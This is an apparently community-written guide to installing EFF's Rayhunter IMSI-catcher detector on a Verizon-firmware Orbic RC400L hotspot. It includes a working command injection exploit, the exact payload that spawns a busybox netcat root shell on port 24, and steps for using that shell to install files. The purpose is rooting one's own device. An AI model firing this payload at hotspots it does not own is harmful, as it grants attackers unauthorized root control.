⚡ EFF Rayhunter Project

rayhunter — Orbic RC400L Network Install Guide

Step-by-step install for the Verizon-branded firmware that the standard installer was not designed for.

📱 Firmware: ORB400L_V1.2.1_BVZRT (Verizon)
✅ Confirmed working as of February 2026 — Rayhunter v0.10.2 fully installed and running.

1. Overview & What You're Actually Doing

Rayhunter is an open-source IMSI catcher detector built by the EFF. It runs on the Orbic RC400L mobile hotspot and monitors cellular traffic for signs of IMSI catchers (Stingrays) — devices used by law enforcement and others to track phones.

The Orbic RC400L ships with a GoAhead embedded web server. The Verizon-branded firmware (ORB400L_V1.2.1_BVZRT) uses the same authentication system as the standard firmware but with the API endpoint structure changed from /goform/ to /action/ for most calls.

The Core Exploit

The device has a command injection vulnerability in POST /action/SetRemoteAccessCfg. The password field is passed unsanitized to a shell command. By injecting "; busybox nc -ll -p 24 -e /bin/sh & #", we spawn a persistent root shell listener on port 24. This is the same exploit used by EFF's official installer orbic-network command — it is not patched in V1.2.1_BVZRT.

Once the shell is open, EFF's official macOS/Linux installer connects to it and installs the Rayhunter daemon, config, and init scripts automatically.

2. Prerequisites

ItemNotes
Mac (macOS)Apple Silicon (M1+) or Intel — affects which installer zip you download
Python 3 + requestspip3 install requests — only needed if you use the manual route
Orbic RC400LPowered on, admin credentials known
Mac connected to Orbic WiFiDevice IP is 192.168.1.1
Internet access on MacNeeded to download the Rayhunter release (~18 MB) — do this first
⚠️ WiFi Switching Note

Your Mac needs internet to download the installer, but must be on the Orbic's WiFi to run the install. Download the installer first while on internet WiFi, then switch to Orbic WiFi to run it. The device itself has no cellular internet in this configuration.

3. Key Technical Discoveries

These findings were required to make the install work on this firmware. Some differ from the standard Orbic firmware:

Login Endpoint
POST /goform/login
Key Info Endpoint
GET /goform/GetLoginInfo
Data API Scheme
/action/* (not /goform/*)
Exploit Endpoint
POST /action/SetRemoteAccessCfg
Inject Field
password
Shell Port
TCP 24 (not 23)
Architecture
armv7l Linux 3.18.48
Rayhunter Zip
linux-armv7 (device target)

Authentication is NOT plain-text

The device uses a custom JavaScript encryption scheme (encryption.js + login.js) that must be replicated exactly:

  1. GET /goform/GetLoginInfo → returns priKey in format "secretxts"
  2. MD5-hash both the username and password (not plain-text)
  3. Run the MD5 password through a custom Base64 scrambling function using ts (timestamp) and secret as keys
  4. POST the MD5 username + scrambled password to /goform/login

The official EFF installer handles this automatically. The login.py script in this guide is a Python port of that logic for manual exploration.

Command Injection Payload

Exact payload injected into the password field of SetRemoteAccessCfg:

{"password": "\"; busybox nc -ll -p 24 -e /bin/sh & #"}

4. Quick Start (TL;DR)

💡 If you just want to run the install

Do steps A–D below. The EFF installer handles everything once you're on the Orbic WiFi.

A. While on internet WiFi — download the installer on your Mac:

Terminal — internet WiFi
$ cd ~/Downloads
#  M1/M2/M3/M4 Mac:
$ curl -L "https://github.com/EFForg/rayhunter/releases/download/v0.10.2/rayhunter-v0.10.2-macos-arm.zip" -o rayhunter.zip
#  Intel Mac:
$ curl -L "https://github.com/EFForg/rayhunter/releases/download/v0.10.2/rayhunter-v0.10.2-macos-intel.zip" -o rayhunter.zip

$ unzip rayhunter.zip -d rayhunter-install/
$ chmod +x rayhunter-install/rayhunter-v0.10.2-macos-arm/installer

B. Switch your Mac's WiFi to the Orbic hotspot.

C. Run the installer:

Terminal — Orbic WiFi
$ cd ~/Downloads/rayhunter-install/rayhunter-v0.10.2-macos-arm
$ ./installer orbic-network --admin-username YOUR_USERNAME --admin-password 'YOUR_PASSWORD'

D. When the installer finishes and the device reboots, open:

✅ Rayhunter Web UI

http://192.168.1.1:8080

5. Detailed Steps

This section documents the full manual process for understanding what's happening under the hood, or if the automatic installer fails.

Download the Rayhunter release (on internet WiFi)

You need the armv7 zip for the device binary and the macOS installer to run on your Mac. Download both while you have internet.

Terminal
$ mkdir -p ~/Downloads/rayhunter && cd ~/Downloads/rayhunter

# macOS installer (for running on your Mac — pick your CPU type):
$ curl -L "https://github.com/EFForg/rayhunter/releases/download/v0.10.2/rayhunter-v0.10.2-macos-arm.zip" -o macos.zip
$ unzip macos.zip && chmod +x rayhunter-v0.10.2-macos-arm/installer

# armv7 zip (contains daemon binary + init scripts for the device):
$ curl -L "https://github.com/EFForg/rayhunter/releases/download/v0.10.2/rayhunter-v0.10.2-linux-armv7.zip" -o armv7.zip
$ unzip armv7.zip
# Contents you'll use from the armv7 zip:
#   rayhunter-v0.10.2-linux-armv7/rayhunter-daemon/rayhunter-daemon  ← the binary
#   rayhunter-v0.10.2-linux-armv7/scripts/rayhunter_daemon             ← init script
#   rayhunter-v0.10.2-linux-armv7/scripts/misc-daemon                  ← system startup script
Switch Mac WiFi to the Orbic hotspot

Connect your Mac to the RC400L's WiFi network. The device admin interface is at 192.168.1.1. You will lose internet access on your Mac — that's expected and fine.

Find your Mac's IP on the Orbic network (needed for the HTTP server fallback):

Terminal
$ ipconfig getifaddr en0
192.168.1.174   ← your Mac's IP on the Orbic network
Run the official EFF installer

This is the recommended path. The installer authenticates, fires the command injection exploit, connects to the shell on port 24, and installs all files automatically.

Terminal — Orbic WiFi
$ cd ~/Downloads/rayhunter/rayhunter-v0.10.2-macos-arm
$ ./installer orbic-network --admin-username YOUR_USERNAME --admin-password 'YOUR_PASSWORD'
Logging in and starting telnet... done
Installing rayhunter... done
Waiting for reboot...
✓ Rayhunter installed successfully!

The device will reboot. Wait ~60 seconds, then open http://192.168.1.1:8080 in your browser.

Manual method (if the installer fails)

If the official installer fails, you can replicate what it does manually. This requires:

  1. Run login.py to authenticate and fire the exploit — this opens port 24
  2. Serve the device files via a local HTTP server on your Mac
  3. Connect via nc and wget the files from your Mac
  4. Start Rayhunter manually

See Section 6 for the login.py script.

4a. Fire the exploit with login.py

Terminal — Orbic WiFi
$ set +H   # disable zsh history expansion (needed for passwords with !)
$ python3 login.py YOUR_USERNAME 'YOUR_PASSWORD'
...
[✓] Login SUCCESS
[✓✓✓] Port 24 is OPEN — exploit WORKED!
[✓✓✓] SHELL ACTIVE on port 24!

4b. Open a new terminal — start file server on Mac

New Terminal window
$ cd ~/Downloads/rayhunter
$ python3 -m http.server 8888
Serving HTTP on :: port 8888 ...

4c. Connect to the shell and install files

Another Terminal window — device shell
$ nc 192.168.1.1 24
# You now have a root shell on the device. Run:

mkdir -p /data/rayhunter /data/rayhunter/qmdl

wget http://192.168.1.174:8888/rayhunter-v0.10.2-linux-armv7/rayhunter-daemon/rayhunter-daemon \
     -O /data/rayhunter/rayhunter-daemon
chmod 755 /data/rayhunter/rayhunter-daemon

wget http://192.168.1.174:8888/rayhunter-v0.10.2-linux-armv7/scripts/rayhunter_daemon \
     -O /etc/init.d/rayhunter_daemon
wget http://192.168.1.174:8888/rayhunter-v0.10.2-linux-armv7/scripts/misc-daemon \
     -O /etc/init.d/misc-daemon
chmod 755 /etc/init.d/rayhunter_daemon
chmod 755 /etc/init.d/misc-daemon

4d. Create config.toml

Device shell (nc 192.168.1.1 24)
cat > /data/rayhunter/config.toml << 'EOF'
qmdl_store_path = "/data/rayhunter/qmdl"
port = 8080
debug_mode = false
colorblind_mode = false
device = "orbic"
ui_level = 1
key_input_mode = 0
ntfy_url = ""
enabled_notifications = ["Warning", "LowBattery"]
min_space_to_start_recording_mb = 1
min_space_to_continue_recording_mb = 1
[analyzers]
imsi_requested = true
connection_redirect_2g_downgrade = true
lte_sib6_and_7_downgrade = true
null_cipher = true
nas_null_cipher = true
incomplete_sib = true
test_analyzer = false
diagnostic_analyzer = true
EOF

4e. Start Rayhunter

Device shell
/etc/init.d/rayhunter_daemon start
sleep 3
wget -q -O - http://localhost:8080/index.html | head -5
# If you see HTML output, Rayhunter is running!

6. The login.py Script

This Python script reverse-engineers the RC400L's custom authentication scheme from encryption.js and login.js, then fires the command injection exploit. It's a Python port of EFF's orbic_network.rs.

Save as login.py and run: python3 login.py YOUR_USERNAME 'YOUR_PASSWORD'

⚠️ zsh note

Run set +H before running the script if your password contains ! — zsh's history expansion will mangle it otherwise.

How the login works

  1. GET /goform/GetLoginInfo → returns priKey e.g. "44d2addexe3f3"
  2. Split on x: secret = "44d2adde", ts = "e3f3"
  3. MD5-hash both username and password: hashlib.md5(USER.encode()).hexdigest()
  4. Run MD5 password through custom array-scramble + Base64 + scramble using secret and ts
  5. POST /goform/login with {"username": md5_user, "password": encoded}
  6. Response {"retcode": 0} = success; session cookie is now set

How the exploit works

After login, one authenticated POST is all it takes:

# Exact payload from EFF's orbic_network.rs:
POST /action/SetRemoteAccessCfg
Content-Type: application/json
Cookie: -goahead-session-=::webs.session::<your session id>

{"password": "\"; busybox nc -ll -p 24 -e /bin/sh & #"}

# Response: {"retcode": 0}
# Port 24 opens ~2 seconds later with a root shell
Download login.py

The full login.py source is saved alongside this guide on your Desktop. It includes: the full character array tables from encryption.js, the password_encode() function, the exploit, port scanning, endpoint discovery, and session keepalive.

7. Verifying the Install

After the installer completes and the device reboots (~60 seconds):

  1. Reconnect your Mac to the Orbic WiFi
  2. Open http://192.168.1.1:8080 in any browser
  3. You should see the Rayhunter dashboard

What a healthy dashboard looks like

FieldExpected value
Rayhunter Version0.10.2
Current RecordingActive, incrementing bytes
Warnings badge0 warnings (green = no IMSI catcher detected)
Storage209 MB+ available
BatteryGreen bar

Verify from the command line

Terminal — Orbic WiFi
$ curl -s http://192.168.1.1:8080/api/version
{"version":"0.10.2"}

8. Using Rayhunter

Rayhunter starts automatically on every boot. The web UI is always at http://192.168.1.1:8080 when connected to the Orbic's WiFi.

The dashboard

What Rayhunter detects

📡 Carry it around

The RC400L is battery-powered and portable. Carry it in your bag when attending protests, courthouses, or other sensitive locations. Connect your phone to it as a hotspot — it won't interfere with normal operation while monitoring for IMSI catchers.

9. Troubleshooting

Login fails / wrong retcode

Port 24 doesn't open after exploit

telnet / nc not available on Mac

macOS removed telnet. Use nc (netcat) which is built in:

$ nc 192.168.1.1 24  # instead of telnet 192.168.1.1 24

nc shell disconnects

The -ll flag means the listener keeps running after disconnects. Just reconnect: nc 192.168.1.1 24

GoAhead drops connection mid-script

The embedded web server has a low connection limit. Add Connection: close headers and time.sleep() between requests. login.py handles this with the safe_get() retry wrapper.

Rayhunter not starting after reboot

SSH in via the nc shell and check:

Device shell
cat /data/rayhunter/rayhunter.log
ls -la /data/rayhunter/
ps | grep rayhunter
# If not running, start manually:
/etc/init.d/rayhunter_daemon start

Installer fails with a "failed to start telnet" error

Despite that error message in the installer output, this refers to the telnet setup step not a separate telnet service. The exploit uses netcat on port 24, not the device's native telnet daemon on port 23. Port 23 is closed on this firmware. The exploit on port 24 is what actually works.

🚫 Do not reboot until files are transferred

The nc shell on port 24 is in-memory. If the device reboots before the init scripts are installed, you'll need to re-run the exploit (which is fine — it's repeatable).